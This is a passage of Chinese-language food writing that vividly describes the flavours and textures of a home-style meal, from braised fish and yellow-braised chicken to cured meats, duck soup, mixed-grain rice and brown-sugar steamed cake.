鱼皮煎得焦脆，鱼肉细嫩，筷子一拨就脱骨，浸透了汤汁的鱼肉入口鲜嫩，酱香中带着微微的甜，咸中带鲜，尾调有一丝米醋的酸爽，恰好压住了河鱼的土腥气，鱼腹处的肉最是肥美，蘸着盘底黏稠的汤汁送进嘴里，咸鲜味厚，连鱼皮都炖得胶糯入味。 这道菜也可以放凉了再吃，到时候汤汁凝成琥珀色的冻子，鱼肉更紧实了些，夹一块鱼冻，咬破时沙沙的口感混着汤汁，能让人连扒好几口杂粮饭。 黄焖土鸡锅咕嘟咕嘟冒着热气，揭开木盖的瞬间，浓郁酱香混着鸡肉的鲜甜扑面而来。 土鸡炖得油亮金黄，鸡肉紧实有嚼劲，嫩而不柴。 汤汁浓稠挂勺，干香菇吸饱了肉汁，鼓胀饱满，散发山野特有的醇厚香气，一咬迸出滚烫的汁水，混着鸡油香往喉头钻。 锅边的粉条晶莹剔透，滑溜弹牙，裹着酱色，舌尖一碾就化开满口浓香。 这道黄焖土鸡端上桌就让人咽口水，连汤带肉舀一勺浇在杂粮饭上，米粒浸透汤汁，吃得人额头冒汗，连碗底都要刮干净。 下一道腊味合蒸，既咸鲜，又带点烟熏的焦香，还透着微微的酒甜。 热气腾腾的蒸笼一揭开，腊味的浓香瞬间冲出来，油汪汪的腊肉、腊肠、腊鱼，勾得人直咽口水。 腊肉咸香厚重，肥肉蒸得晶莹透亮，入口即化，瘦肉丝丝分明，嚼着满口咸香，渗入汤汁，油润不腻。 腊肠切片后红白相间，咬下去油汁迸出，辛辣咸鲜。 腊鱼肉质紧实，咸鲜入味，鱼皮微韧，有淡淡的烟熏味。 爆炒河虾，河虾壳被热油炸得酥脆，咬下去“咔嚓”一声轻响，虾壳的焦香混着油脂的香气在嘴里炸开。 虾肉鲜甜，紧实弹牙，河虾的鲜甜被辣椒和蒜末激发，味道鲜辣酥香。 咬一口下去蒜末和干辣椒的辛香慢慢爬上舌尖，先是微微的焦香，随后辣意“唰”地窜上来，但不过分猛烈，反而衬得虾肉更鲜，料酒的醇厚压住腥气，只剩满嘴的咸鲜辣香，让人忍不住嘬指尖的油汁，连壳带肉都能吞下。 酱烧排骨炖到酥烂，筷子一夹就脱骨，肉里浸满酱汁，咬下去软糯中带点微微的嚼劲。 一口咬下去舌尖先尝到甜，然后是酱油和豆酱的鲜咸，隐隐有姜蒜的辛香。 咸甜交织，豆瓣酱的醇厚和冰糖的焦香融合，酱汁浓稠挂肉，吃完唇齿留香。 蒜蓉蒸南瓜，蒸透的老南瓜软糯绵密，筷子尖轻轻一碰就塌陷，入口即化，清甜回甘，蒸软的蒜末失去辛辣，转为微沙的颗粒感，裹着香黏在南瓜表面，油香渗进南瓜。 入口先是蒜油咸香，咀嚼后南瓜的自然甜味涌上来，平衡蒜的咸，喉咙里留着淡淡的蒜香和南瓜余甜，不腻不呛。 醋溜白菜酸辣爽脆，白菜保持微脆不软烂，裹着薄薄的芡汁，入口先酸后甜，带着一丝辣味，开胃解腻，夹一筷子，酸得人眯眼，辣得舌尖发麻，嚼两下又泛出白菜的清甜。 炖足时辰的老鸭汤，揭开锅盖的瞬间，热气裹着醇厚的鸭香扑面而来，混着笋干的清甜和枸杞的微甘，光是闻着就让人舌底生津。 盛在碗里，汤面浮着一层金黄的油花，轻轻一晃，能看见底下奶白的浓汤，像融化的玉脂般温润。 鸭肉炖得酥烂，筷子一拨就脱骨，咬下去纤维里饱吸了汤汁，鲜嫩不柴，皮肉间还藏着胶质的黏糯，舌尖一抿就化开。 第一口滚烫的汤滑过喉咙，先是鸭油的丰腴，接着是笋干吊出的鲜甜，尾调泛着淡淡的药材香，加了酸萝卜或野山菌，还会多一层酸鲜或土腥气，更添山野风味。 杂粮米饭软中带韧，比纯大米饭更有嚼劲，米饭颗粒分明，红薯块软糯，南瓜香甜自然，玉米面带来淡淡谷物香。 金黄的玉米碜掺在雪白米饭里，还有几块炖得软烂的红薯，用筷子一戳就流出蜜糖般的芯子。嚼一口，糙米的扎实混着红薯的甜，朴实甘甜，越吃越香。 红糖发糕味道香甜松软，红糖的焦糖香和米香融合，表面微脆，内里湿润。 趁热咬下去，舌尖先触到微脆的皮，接着是糯糯的糕体，红糖的焦甜和米浆的清香在嘴里化开蜂窝般的小孔里渗出红糖汁，连手指沾到的糖渍都要吮干净。